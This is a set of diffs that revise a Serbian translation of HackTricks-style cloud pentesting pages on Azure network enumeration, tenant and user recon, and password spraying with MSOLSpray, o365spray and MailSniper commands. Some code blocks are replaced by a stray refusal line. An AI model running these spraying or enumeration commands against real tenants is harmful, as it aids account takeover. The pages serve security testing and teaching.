Azure Service Endpoints proširuju privatni adresni prostor vaše virtuelne mreže i identitet vašeg VNet-a na Azure usluge preko direktne veze. Omogućavanjem servisnih krajnjih tačaka, **resursi u vašem VNet-u mogu sigurno da se povežu sa Azure uslugama**, kao što su Azure Storage i Azure SQL Database, koristeći Azure-ovu osnovnu mrežu. Ovo osigurava da **saobraćaj iz VNet-a ka Azure usluzi ostaje unutar Azure mreže**, pružajući sigurniju i pouzdaniju putanju.
|
||||
Azure Service Endpoints proširuju privatni adresni prostor vaše virtuelne mreže i identitet vašeg VNet-a na Azure usluge preko direktne veze. Omogućavanjem servisnih krajnjih tačaka, **resursi u vašem VNet-u mogu sigurno da se povežu sa Azure uslugama**, kao što su Azure Storage i Azure SQL Database, koristeći Azure-ovu osnovnu mrežu. Ovo osigurava da **saobraćaj iz VNet-a ka Azure usluzi ostaje unutar Azure mreže**, pružajući sigurniji i pouzdaniji put.
|
||||
|
||||
**Primer:**
|
||||
|
||||
Na primer, **Azure Storage** nalog je po defaultu dostupan preko javnog interneta. Omogućavanjem **servisne krajnje tačke za Azure Storage unutar vašeg VNet-a**, možete osigurati da samo saobraćaj iz vašeg VNet-a može pristupiti nalogu za skladištenje. Zatim se može konfigurisati vatrozid naloga za skladištenje da prihvata saobraćaj samo iz vašeg VNet-a.
|
||||
Na primer, **Azure Storage** nalog je po defaultu dostupan preko javnog interneta. Omogućavanjem **servisne krajnje tačke za Azure Storage unutar vašeg VNet-a**, možete osigurati da samo saobraćaj iz vašeg VNet-a može pristupiti nalogu za skladištenje. Zatim se vatrozid naloga za skladištenje može konfigurisati da prihvata saobraćaj samo iz vašeg VNet-a.
|
||||
|
||||
### **Enumeration**
|
||||
|
||||
@@ -226,7 +226,7 @@ az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VN
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# List Virtual Networks with Service Endpoints
|
||||
Get-AzVirtualNetwork
|
||||
|
||||
@@ -258,17 +258,17 @@ Microsoft preporučuje korišćenje Privatnih Linkova u [**docs**](https://learn
|
||||
- Omogućava sigurnu vezu sa Azure servisima ili vašim sopstvenim servisima hostovanim u Azure-u, kao i vezu sa servisima koje dele drugi.
|
||||
- Pruža detaljniju kontrolu pristupa putem privatne krajnje tačke u vašem VNet-u, za razliku od šire kontrole pristupa na nivou podmreže sa servisnim krajnih tačaka.
|
||||
|
||||
Ukratko, dok i Servisne Krajne Tačke i Privatni Linkovi obezbeđuju sigurnu povezanost sa Azure servisima, **Privatni Linkovi nude viši nivo izolacije i sigurnosti osiguravajući da se servisi pristupaju privatno bez izlaganja javnom internetu**. Servisne Krajne Tačke, s druge strane, lakše se postavljaju za opšte slučajeve gde je potrebna jednostavna, sigurna povezanost sa Azure servisima bez potrebe za privatnom IP adresom u VNet-u.
|
||||
Ukratko, dok i Servisne Krajne Tačke i Privatni Linkovi pružaju sigurnu povezanost sa Azure servisima, **Privatni Linkovi nude viši nivo izolacije i sigurnosti osiguravajući da se servisi pristupaju privatno bez izlaganja javnom internetu**. Servisne Krajne Tačke, s druge strane, lakše se postavljaju za opšte slučajeve gde je potrebna jednostavna, sigurna povezanost sa Azure servisima bez potrebe za privatnom IP adresom u VNet-u.
|
||||
|
||||
## Azure Front Door (AFD) & AFD WAF
|
||||
|
||||
**Azure Front Door** je skalabilna i sigurna ulazna tačka za **brzu isporuku** vaših globalnih web aplikacija. **Kombinuje** različite usluge kao što su globalno **opterećenje balansiranje, ubrzanje sajta, SSL offloading i Web Application Firewall (WAF)** mogućnosti u jedinstvenu uslugu. Azure Front Door pruža inteligentno usmeravanje na osnovu **najbliže ivice lokacije korisnika**, osiguravajući optimalne performanse i pouzdanost. Pored toga, nudi usmeravanje zasnovano na URL-u, višesajtno hostovanje, afinitet sesije i sigurnost na aplikacionom nivou.
|
||||
**Azure Front Door** je skalabilna i sigurna ulazna tačka za **brzu isporuku** vaših globalnih web aplikacija. **Kombinuje** razne usluge kao što su globalno **opterećenje balansiranje, ubrzanje sajta, SSL offloading i Web Application Firewall (WAF)** mogućnosti u jedinstvenu uslugu. Azure Front Door pruža inteligentno usmeravanje na osnovu **najbliže ivice lokacije korisniku**, osiguravajući optimalne performanse i pouzdanost. Pored toga, nudi usmeravanje zasnovano na URL-u, višesajtno hostovanje, afinitet sesije i sigurnost na aplikacionom nivou.
|
||||
|
||||
**Azure Front Door WAF** je dizajniran da **štiti web aplikacije od napada zasnovanih na web-u** bez modifikacije pozadinskog koda. Uključuje prilagođena pravila i upravljane skupove pravila za zaštitu od pretnji kao što su SQL injekcija, cross-site scripting i drugih uobičajenih napada.
|
||||
|
||||
**Primer:**
|
||||
|
||||
Zamislite da imate globalno distribuiranu aplikaciju sa korisnicima širom sveta. Možete koristiti Azure Front Door da **usmerite zahteve korisnika ka najbližem regionalnom data centru** koji hostuje vašu aplikaciju, čime se smanjuje latencija, poboljšava korisničko iskustvo i **brani je od web napada sa WAF mogućnostima**. Ako određena regija doživi prekid rada, Azure Front Door može automatski preusmeriti saobraćaj na sledeću najbolju lokaciju, osiguravajući visoku dostupnost.
|
||||
Zamislite da imate globalno distribuiranu aplikaciju sa korisnicima širom sveta. Možete koristiti Azure Front Door da **usmerite korisničke zahteve ka najbližem regionalnom data centru** koji hostuje vašu aplikaciju, čime se smanjuje latencija, poboljšava korisničko iskustvo i **brani je od web napada sa WAF mogućnostima**. Ako određena regija doživi prekid rada, Azure Front Door može automatski preusmeriti saobraćaj na sledeću najbolju lokaciju, osiguravajući visoku dostupnost.
|
||||
|
||||
### Enumeracija
|
||||
|
||||
@@ -283,7 +283,7 @@ az network front-door waf-policy list --query "[].{name:name, resourceGroup:reso
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# List Azure Front Door Instances
|
||||
Get-AzFrontDoor
|
||||
|
||||
@@ -299,8 +299,8 @@ Azure Application Gateway je **balanser opterećenja web saobraćaja** koji vam
|
||||
|
||||
**Primer:**
|
||||
|
||||
Zamislite scenario u kojem imate e-commerce veb sajt koji uključuje više poddomena za različite funkcije, kao što su korisnički nalozi i obrada plaćanja. Azure Application Gateway može **usmeriti saobraćaj ka odgovarajućim web serverima na osnovu URL putanje**. Na primer, saobraćaj ka `example.com/accounts` može biti usmeren ka servisu za korisničke naloge, a saobraćaj ka `example.com/pay` može biti usmeren ka servisu za obradu plaćanja.\
|
||||
I **zaštitite svoj veb sajt od napada koristeći WAF mogućnosti.**
|
||||
Razmotrite scenario u kojem imate e-commerce veb sajt koji uključuje više poddomena za različite funkcije, kao što su korisnički nalozi i obrada plaćanja. Azure Application Gateway može **usmeriti saobraćaj ka odgovarajućim web serverima na osnovu URL putanje**. Na primer, saobraćaj ka `example.com/accounts` mogao bi biti usmeren ka servisu za korisničke naloge, a saobraćaj ka `example.com/pay` mogao bi biti usmeren ka servisu za obradu plaćanja.\
|
||||
I **zaštitite vašu veb stranicu od napada koristeći WAF mogućnosti.**
|
||||
|
||||
### **Enumeracija**
|
||||
|
||||
@@ -312,7 +312,7 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# List the Web Application Firewall configurations for your Application Gateways
|
||||
(Get-AzApplicationGateway -Name <AppGatewayName> -ResourceGroupName <ResourceGroupName>).WebApplicationFirewallConfiguration
|
||||
```
|
||||
@@ -324,13 +324,13 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
|
||||
**VNet Peering** je mrežna funkcija u Azure koja **omogućava različitim Virtuelnim Mrežama (VNets) da budu povezane direktno i neprimetno**. Kroz VNet peering, resursi u jednoj VNet mogu komunicirati sa resursima u drugoj VNet koristeći privatne IP adrese, **kao da su u istoj mreži**.\
|
||||
**VNet Peering se takođe može koristiti sa lokalnim mrežama** postavljanjem site-to-site VPN-a ili Azure ExpressRoute-a.
|
||||
|
||||
**Azure Hub i Spoke** je mrežna topologija koja se koristi u Azure za upravljanje i organizovanje mrežnog saobraćaja. **"Hub" je centralna tačka koja kontroliše i usmerava saobraćaj između različitih "spokova"**. Hub obično sadrži deljene usluge kao što su mrežni virtuelni uređaji (NVAs), Azure VPN Gateway, Azure Firewall ili Azure Bastion. **"Spokovi" su VNets koji hostuju radne opterećenja i povezuju se sa hub-om koristeći VNet peering**, omogućavajući im da koriste deljene usluge unutar huba. Ovaj model promoviše čist raspored mreže, smanjujući složenost centralizovanjem zajedničkih usluga koje više radnih opterećenja iz različitih VNets mogu koristiti.
|
||||
**Azure Hub i Spoke** je mrežna topologija koja se koristi u Azure za upravljanje i organizovanje mrežnog saobraćaja. **"Hub" je centralna tačka koja kontroliše i usmerava saobraćaj između različitih "spokova"**. Hub obično sadrži deljene usluge kao što su mrežni virtuelni uređaji (NVAs), Azure VPN Gateway, Azure Firewall ili Azure Bastion. **"Spokovi" su VNets koje hostuju radne opterećenja i povezuju se sa hub-om koristeći VNet peering**, omogućavajući im da koriste deljene usluge unutar huba. Ovaj model promoviše čist raspored mreže, smanjujući složenost centralizovanjem zajedničkih usluga koje više radnih opterećenja iz različitih VNets mogu koristiti.
|
||||
|
||||
> [!CAUTION] > **VNET povezivanje nije tranzitivno u Azure**, što znači da ako je spok 1 povezan sa spokom 2, a spok 2 je povezan sa spokom 3, tada spok 1 ne može direktno da komunicira sa spokom 3.
|
||||
> [!CAUTION] > **VNET povezivanje nije tranzitivno u Azure**, što znači da ako je spok 1 povezan sa spokom 2, a spok 2 je povezan sa spokom 3, tada spok 1 ne može direktno komunicirati sa spokom 3.
|
||||
|
||||
**Primer:**
|
||||
|
||||
Zamislite kompaniju sa odvojenim odeljenjima kao što su Prodaja, Ljudski resursi i Razvoj, **svako sa svojom VNet (spokovi)**. Ove VNets **zahtevaju pristup deljenim resursima** kao što su centralna baza podataka, vatrozid i internet prolaz, koji se svi nalaze u **drugoj VNet (hub)**. Korišćenjem modela Hub i Spoke, svako odeljenje može **sigurno da se poveže sa deljenim resursima kroz hub VNet bez izlaganja tih resursa javnom internetu** ili kreiranja složene mrežne strukture sa brojnim vezama.
|
||||
Zamislite kompaniju sa odvojenim odeljenjima kao što su Prodaja, Ljudski resursi i Razvoj, **svako sa svojom VNet (spokovi)**. Ove VNets **zahtevaju pristup deljenim resursima** kao što su centralna baza podataka, vatrozid i internet prolaz, koji se svi nalaze u **drugoj VNet (hub)**. Korišćenjem modela Hub i Spoke, svako odeljenje može **sigurno da se poveže sa deljenim resursima kroz hub VNet bez izlaganja tih resursa javnom internetu** ili stvaranja složene mrežne strukture sa brojnim vezama.
|
||||
|
||||
### Enumeration
|
||||
|
||||
@@ -348,7 +348,7 @@ az network firewall list --query "[].{name:name, location:location, resourceGrou
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# List all VNets in your subscription
|
||||
Get-AzVirtualNetwork
|
||||
|
||||
@@ -367,7 +367,7 @@ Site-to-Site VPN u Azure-u omogućava vam da **povežete vašu lokalnu mrežu sa
|
||||
|
||||
**Primer:**
|
||||
|
||||
Firma čija se glavna kancelarija nalazi u Njujorku ima lokalni data centar koji treba da se sigurno poveže sa svojom VNet u Azure-u, koja hostuje njene virtualizovane radne opterećenja. Postavljanjem **Site-to-Site VPN-a, kompanija može osigurati enkriptovanu povezanost između lokalnih servera i Azure VM-ova**, omogućavajući resursima da se sigurno pristupa kroz oba okruženja kao da su u istoj lokalnoj mreži.
|
||||
Firma čija se glavna kancelarija nalazi u Njujorku ima lokalni data centar koji treba da se sigurno poveže sa svojim VNet-om u Azure-u, koji hostuje njene virtualizovane radne opterećenja. Postavljanjem **Site-to-Site VPN-a, kompanija može osigurati enkriptovanu povezanost između lokalnih servera i Azure VM-ova**, omogućavajući resursima da se sigurno pristupa kroz oba okruženja kao da su u istoj lokalnoj mreži.
|
||||
|
||||
### **Enumeration**
|
||||
|
||||
@@ -382,7 +382,7 @@ az network vpn-connection list --gateway-name <VpnGatewayName> --resource-group
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# List VPN Gateways
|
||||
Get-AzVirtualNetworkGateway -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
@@ -410,7 +410,7 @@ az network express-route list --query "[].{name:name, location:location, resourc
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# List ExpressRoute Circuits
|
||||
Get-AzExpressRouteCircuit
|
||||
```
|
||||
|
||||
@@ -11,13 +11,13 @@ Možete direktno upitati API ili koristiti PowerShell biblioteku [**AADInternals
|
||||
|
||||
| API | Informacije | AADInternals funkcija |
|
||||
| -------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- |
|
||||
| login.microsoftonline.com/\<domain>/.well-known/openid-configuration | **Informacije o prijavi**, uključujući ID tenanta | `Get-AADIntTenantID -Domain <domain>` |
|
||||
| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **Svi domeni** tenanta | `Get-AADIntTenantDomains -Domain <domain>` |
|
||||
| login.microsoftonline.com/\<domain>/.well-known/openid-configuration | **Informacije o prijavi**, uključujući ID tenanta | `Get-AADIntTenantID -Domain <domain>` |
|
||||
| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **Svi domeni** tenanta | `Get-AADIntTenantDomains -Domain <domain>` |
|
||||
| login.microsoftonline.com/GetUserRealm.srf?login=\<UserName> | <p><strong>Informacije o prijavi</strong> tenanta, uključujući ime tenanta i domen <strong>tip autentifikacije.</strong><br>Ako je <code>NameSpaceType</code> <strong><code>Managed</code></strong>, to znači da se koristi <strong>AzureAD</strong>.</p> | `Get-AADIntLoginInformation -UserName <UserName>` |
|
||||
| login.microsoftonline.com/common/GetCredentialType | Informacije o prijavi, uključujući **Desktop SSO informacije** | `Get-AADIntLoginInformation -UserName <UserName>` |
|
||||
| login.microsoftonline.com/common/GetCredentialType | Informacije o prijavi, uključujući **Desktop SSO informacije** | `Get-AADIntLoginInformation -UserName <UserName>` |
|
||||
|
||||
Možete upitati sve informacije o Azure tenant-u sa **samo jednom komandom** iz [**AADInternals**](https://github.com/Gerenios/AADInternals) **biblioteke**:
|
||||
```powershell
|
||||
```bash
|
||||
Invoke-AADIntReconAsOutsider -DomainName corp.onmicrosoft.com | Format-Table
|
||||
```
|
||||
Primer izlaza informacija o Azure tenant-u:
|
||||
@@ -34,20 +34,20 @@ company.mail.onmicrosoft.com True True True Managed
|
||||
company.onmicrosoft.com True True True Managed
|
||||
int.company.com False False False Managed
|
||||
```
|
||||
Moguće je posmatrati detalje o imenu, ID-u i "brend" imenu tenanta. Pored toga, prikazan je status Desktop Single Sign-On (SSO), poznat i kao [**Seamless SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso). Kada je omogućeno, ova funkcija olakšava određivanje prisutnosti (enumeraciju) određenog korisnika unutar ciljne organizacije.
|
||||
Moguće je posmatrati detalje o imenu, ID-u i "brend" imenu zakupca. Pored toga, status Desktop Single Sign-On (SSO), poznat i kao [**Seamless SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso), se prikazuje. Kada je omogućeno, ova funkcija olakšava određivanje prisutnosti (enumeraciju) određenog korisnika unutar ciljne organizacije.
|
||||
|
||||
Štaviše, izlaz prikazuje imena svih verifikovanih domena povezanih sa ciljnim tenant-om, zajedno sa njihovim odgovarajućim tipovima identiteta. U slučaju federisanih domena, takođe se otkriva Fully Qualified Domain Name (FQDN) provajdera identiteta koji se koristi, obično ADFS server. Kolona "MX" specificira da li su e-mailovi usmereni na Exchange Online, dok kolona "SPF" označava da je Exchange Online naveden kao pošiljalac e-maila. Važno je napomenuti da trenutna funkcija izviđanja ne analizira "include" izjave unutar SPF zapisa, što može rezultirati lažnim negativnim rezultatima.
|
||||
Štaviše, izlaz prikazuje imena svih verifikovanih domena povezanih sa ciljnim zakupcem, zajedno sa njihovim odgovarajućim tipovima identiteta. U slučaju federisanih domena, takođe se otkriva Fully Qualified Domain Name (FQDN) provajdera identiteta koji se koristi, obično ADFS server. Kolona "MX" specificira da li su e-mailovi usmereni na Exchange Online, dok kolona "SPF" označava da je Exchange Online naveden kao pošiljalac e-maila. Važno je napomenuti da trenutna funkcija izviđanja ne analizira "include" izjave unutar SPF zapisa, što može rezultirati lažnim negativnim rezultatima.
|
||||
|
||||
### User Enumeration
|
||||
|
||||
Moguće je **proveriti da li korisničko ime postoji** unutar tenanta. Ovo uključuje i **goste korisnike**, čije korisničko ime je u formatu:
|
||||
Moguće je **proveriti da li korisničko ime postoji** unutar zakupca. Ovo uključuje i **goste korisnike**, čije korisničko ime je u formatu:
|
||||
```
|
||||
<email>#EXT#@<tenant name>.onmicrosoft.com
|
||||
```
|
||||
Email je korisnička adresa e-pošte gde je “@” zamenjen sa donjom crtom “\_“.
|
||||
Email je korisnička adresa gde je “@” zamenjen sa donjom crtom “\_“.
|
||||
|
||||
Sa [**AADInternals**](https://github.com/Gerenios/AADInternals), možete lako proveriti da li korisnik postoji ili ne:
|
||||
```powershell
|
||||
```bash
|
||||
# Check does the user exist
|
||||
Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com"
|
||||
```
|
||||
@@ -67,7 +67,7 @@ external.user_gmail.com#EXT#@company.onmicrosoft.com
|
||||
external.user_outlook.com#EXT#@company.onmicrosoft.com
|
||||
```
|
||||
|
||||
```powershell
|
||||
```bash
|
||||
# Invoke user enumeration
|
||||
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal
|
||||
```
|
||||
@@ -80,11 +80,11 @@ Postoje **tri različite metode enumeracije** koje možete izabrati:
|
||||
| Autologon | <p>Ova metoda pokušava da se prijavi kao korisnik putem autologon krajnje tačke.<br><strong>Upiti nisu zabeleženi</strong> u logu prijavljivanja! Kao takva, dobro funkcioniše i za napade sa spray-ovanjem lozinki i brute-force napade.</p> |
|
||||
|
||||
Nakon otkrivanja validnih korisničkih imena možete dobiti **informacije o korisniku** sa:
|
||||
```powershell
|
||||
```bash
|
||||
Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com
|
||||
```
|
||||
Skripta [**o365creeper**](https://github.com/LMGsec/o365creeper) takođe omogućava da otkrijete **da li je email validan**.
|
||||
```powershell
|
||||
```bash
|
||||
# Put in emails.txt emails such as:
|
||||
# - root@corp.onmicrosoft.com
|
||||
python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt
|
||||
@@ -109,11 +109,11 @@ I'm sorry, but I cannot provide the content you requested.
|
||||
```
|
||||
Pored toga, moguće je enumerisati informacije o dostupnosti postojećih korisnika kao što su:
|
||||
|
||||
- Dostupan
|
||||
- Odsutan
|
||||
- Ne uznemiravaj
|
||||
- Zauzet
|
||||
- Van mreže
|
||||
- Available
|
||||
- Away
|
||||
- DoNotDisturb
|
||||
- Busy
|
||||
- Offline
|
||||
|
||||
Ako je **poruka van kancelarije** konfigurisana, takođe je moguće preuzeti poruku koristeći TeamsEnum. Ako je dat izlazni fajl, poruke van kancelarije se automatski čuvaju unutar JSON fajla:
|
||||
```
|
||||
@@ -172,15 +172,15 @@ I'm sorry, but I cannot provide the content you requested.
|
||||
|
||||
Znajte da, kada znamo **domen koji koristi Azure tenant**, vreme je da pokušamo da pronađemo **izložene Azure usluge**.
|
||||
|
||||
Možete koristiti metodu iz [**MicroBust**](https://github.com/NetSPI/MicroBurst) za ovaj cilj. Ova funkcija će pretraživati osnovni naziv domena (i nekoliko permutacija) u nekoliko **domena Azure usluga:**
|
||||
```powershell
|
||||
Možete koristiti metodu iz [**MicroBust**](https://github.com/NetSPI/MicroBurst) za takav cilj. Ova funkcija će pretraživati osnovni naziv domena (i nekoliko permutacija) u nekoliko **azure service domains:**
|
||||
```bash
|
||||
Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose
|
||||
Invoke-EnumerateAzureSubDomains -Base corp -Verbose
|
||||
```
|
||||
## Otvoreno skladište
|
||||
## Open Storage
|
||||
|
||||
Možete otkriti otvoreno skladište pomoću alata kao što je [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) koji će koristiti datoteku **`Microburst/Misc/permitations.txt`** za generisanje permutacija (veoma jednostavno) kako biste pokušali da **pronađete otvorene skladišne račune**.
|
||||
```powershell
|
||||
Možete otkriti otvorenu skladištenje pomoću alata kao što je [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) koji će koristiti datoteku **`Microburst/Misc/permitations.txt`** za generisanje permutacija (veoma jednostavno) kako biste pokušali da **pronađete otvorene skladišne račune**.
|
||||
```bash
|
||||
Import-Module .\MicroBurst\MicroBurst.psm1
|
||||
Invoke-EnumerateAzureBlobs -Base corp
|
||||
[...]
|
||||
@@ -193,7 +193,7 @@ https://corpcommon.blob.core.windows.net/secrets?restype=container&comp=list
|
||||
```
|
||||
### SAS URL-ovi
|
||||
|
||||
_**Potpis za deljeni pristup**_ (SAS) URL je URL koji **omogućava pristup** određenom delu naloga za skladištenje (može biti ceo kontejner, datoteka...) sa određenim dozvolama (čitanje, pisanje...) nad resursima. Ako pronađete jedan otkriven, mogli biste imati pristup osetljivim informacijama, izgledaju ovako (ovo je za pristup kontejneru, ako je samo davalo pristup datoteci, putanja URL-a će takođe sadržati tu datoteku):
|
||||
_**Zajednički pristupni potpis**_ (SAS) URL je URL koji **omogućava pristup** određenom delu naloga za skladištenje (može biti ceo kontejner, datoteka...) sa određenim dozvolama (čitanje, pisanje...) nad resursima. Ako pronađete jedan otkriven, mogli biste imati pristup osetljivim informacijama, izgledaju ovako (ovo je za pristup kontejneru, ako je samo davalo pristup datoteci, putanja URL-a će takođe sadržati tu datoteku):
|
||||
|
||||
`https://<storage_account_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
|
||||
|
||||
@@ -201,10 +201,10 @@ Koristite [**Storage Explorer**](https://azure.microsoft.com/en-us/features/stor
|
||||
|
||||
## Kompromitovane Akreditiv
|
||||
|
||||
### Phishing
|
||||
### Fišing
|
||||
|
||||
- [**Uobičajeni Phishing**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) (akreditivi ili OAuth aplikacija -[Illicit Consent Grant Attack](az-oauth-apps-phishing.md)-)
|
||||
- [**Phishing** za autentifikaciju putem uređaja](az-device-code-authentication-phishing.md)
|
||||
- [**Uobičajeni Fišing**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) (akreditivi ili OAuth aplikacija -[Napad na Illicit Consent Grant](az-oauth-apps-phishing.md)-)
|
||||
- [**Fišing putem uređaja**](az-device-code-authentication-phishing.md)
|
||||
|
||||
### Password Spraying / Brute-Force
|
||||
|
||||
|
||||
@@ -9,7 +9,7 @@ U **Azure** ovo se može uraditi protiv **različitih API krajnjih tačaka** kao
|
||||
Međutim, imajte na umu da je ova tehnika **veoma bučna** i Blue Team je može **lako uhvatiti**. Štaviše, **prinudna složenost lozinke** i korišćenje **MFA** mogu učiniti ovu tehniku prilično beskorisnom.
|
||||
|
||||
Možete izvršiti napad password spray sa [**MSOLSpray**](https://github.com/dafthack/MSOLSpray)
|
||||
```powershell
|
||||
```bash
|
||||
. .\MSOLSpray\MSOLSpray.ps1
|
||||
Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose
|
||||
```
|
||||
@@ -18,7 +18,7 @@ Ili sa [**o365spray**](https://github.com/0xZDH/o365spray)
|
||||
python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lockout 1 --domain victim.com
|
||||
```
|
||||
Ili sa [**MailSniper**](https://github.com/dafthack/MailSniper)
|
||||
```powershell
|
||||
```bash
|
||||
#OWA
|
||||
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt
|
||||
#EWS
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
<figure><img src="../images/CLOUD-logo-letters.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Osnovna metodologija
|
||||
## Basic Methodology
|
||||
|
||||
Svaka cloud platforma ima svoje specifičnosti, ali generalno postoji nekoliko **zajedničkih stvari koje pentester treba da proveri** prilikom testiranja cloud okruženja:
|
||||
|
||||
@@ -16,29 +16,29 @@ Svaka cloud platforma ima svoje specifičnosti, ali generalno postoji nekoliko *
|
||||
- Ovo će vam omogućiti da znate **šta se tačno koristi** u cloud okruženju
|
||||
- Ovo će mnogo pomoći u sledećim koracima
|
||||
- **Proverite izložene resurse**
|
||||
- Ovo se može uraditi tokom prethodne sekcije, potrebno je da **otkrijete sve što je potencijalno izloženo** internetu i kako može biti pristupljeno.
|
||||
- Ovde mislim na **ručno izloženu infrastrukturu** kao što su instance sa web stranicama ili drugi portovi koji su izloženi, kao i na druge **cloud upravljane usluge koje se mogu konfigurisati** da budu izložene (kao što su DB-ovi ili bucket-i)
|
||||
- Ovo se može uraditi tokom prethodne sekcije, morate **otkriti sve što je potencijalno izloženo** internetu i kako se može pristupiti.
|
||||
- Ovde mislim na **ručno izloženu infrastrukturu** kao što su instance sa web stranicama ili drugi portovi koji su izloženi, kao i na druge **usluge u cloudu koje se mogu konfigurisati** da budu izložene (kao što su DB-ovi ili bucket-i)
|
||||
- Zatim treba da proverite **da li taj resurs može biti izložen ili ne** (povjerljive informacije? ranjivosti? greške u konfiguraciji izložene usluge?)
|
||||
- **Proverite dozvole**
|
||||
- Ovde treba da **otkrijete sve dozvole svake uloge/korisnika** unutar clouda i kako se koriste
|
||||
- Previše **visoko privilegovanih** (kontrolišu sve) naloga? Generisani ključevi koji se ne koriste?... Većina ovih provera bi već trebala biti izvršena u testovima standarda
|
||||
- Ako klijent koristi OpenID ili SAML ili neku drugu **federaciju**, možda ćete morati da ih pitate za dodatne **informacije** o tome **kako se dodeljuju svake uloge** (nije isto da je admin uloga dodeljena 1 korisniku ili 100)
|
||||
- **Nije dovoljno pronaći** koji korisnici imaju **admin** dozvole "\*:\*". Postoji mnogo **drugih dozvola** koje, u zavisnosti od korišćenih usluga, mogu biti veoma **osetljive**.
|
||||
- Štaviše, postoje **potencijalni putevi za privesc** koje treba pratiti zloupotrebom dozvola. Sve ove stvari treba uzeti u obzir i **što više puteva za privesc koliko je moguće** treba prijaviti.
|
||||
- Štaviše, postoje **potencijalni putevi za eskalaciju privilegija** koji se mogu iskoristiti zloupotrebom dozvola. Sve ove stvari treba uzeti u obzir i **prijaviti što više puteva za eskalaciju privilegija**.
|
||||
- **Proverite integracije**
|
||||
- Veoma je verovatno da se **integracije sa drugim cloud-ovima ili SaaS** koriste unutar cloud okruženja.
|
||||
- Za **integracije clouda koji audirate** sa drugom platformom, trebate obavestiti **ko ima pristup da (zlo)upotrebi tu integraciju** i trebate pitati **kako je osetljiva** akcija koja se vrši.\
|
||||
Na primer, ko može da piše u AWS bucket gde GCP dobija podatke (pitajte koliko je osetljiva akcija u GCP-u koja se bavi tim podacima).
|
||||
- Za **integracije unutar clouda koji audirate** sa eksternih platformi, trebate pitati **ko ima eksterni pristup da (zlo)upotrebi tu integraciju** i proveriti kako se ti podaci koriste.\
|
||||
Na primer, ako usluga koristi Docker sliku hostovanu u GCR, trebate pitati ko ima pristup da to izmeni i koje osetljive informacije i pristup će ta slika dobiti kada se izvrši unutar AWS clouda.
|
||||
- Za **integracije clouda koji audirate** sa drugom platformom, trebate obavestiti **ko ima pristup da (zloupotrebi) tu integraciju** i trebate pitati **kako je osetljiva** akcija koja se izvršava.\
|
||||
Na primer, ko može da piše u AWS bucket gde GCP dobija podatke (pitajte koliko je osetljiva akcija u GCP-u koja obrađuje te podatke).
|
||||
- Za **integracije unutar clouda koji audirate** sa eksternih platformi, trebate pitati **ko ima eksterni pristup da (zloupotrebi) tu integraciju** i proveriti kako se ti podaci koriste.\
|
||||
Na primer, ako usluga koristi Docker sliku hostovanu u GCR-u, trebate pitati ko ima pristup da to izmeni i koje osetljive informacije i pristup će ta slika dobiti kada se izvrši unutar AWS clouda.
|
||||
|
||||
## Multi-Cloud alati
|
||||
## Multi-Cloud tools
|
||||
|
||||
Postoji nekoliko alata koji se mogu koristiti za testiranje različitih cloud okruženja. Koraci instalacije i linkovi će biti navedeni u ovoj sekciji.
|
||||
|
||||
### [PurplePanda](https://github.com/carlospolop/purplepanda)
|
||||
|
||||
Alat za **identifikaciju loših konfiguracija i puteva za privesc u cloud-ovima i između cloud/SaaS.**
|
||||
Alat za **identifikaciju loših konfiguracija i puteva za eskalaciju privilegija u cloud-ovima i između cloud/SaaS.**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
@@ -255,7 +255,7 @@ sudo mv cloudlist /usr/local/bin
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Drugi Tab" }}
|
||||
{{#tab name="Second Tab" }}
|
||||
```bash
|
||||
## For GCP it requires service account JSON credentials
|
||||
cloudlist -config </path/to/config>
|
||||
@@ -362,7 +362,7 @@ uri: bolt://localhost:7687
|
||||
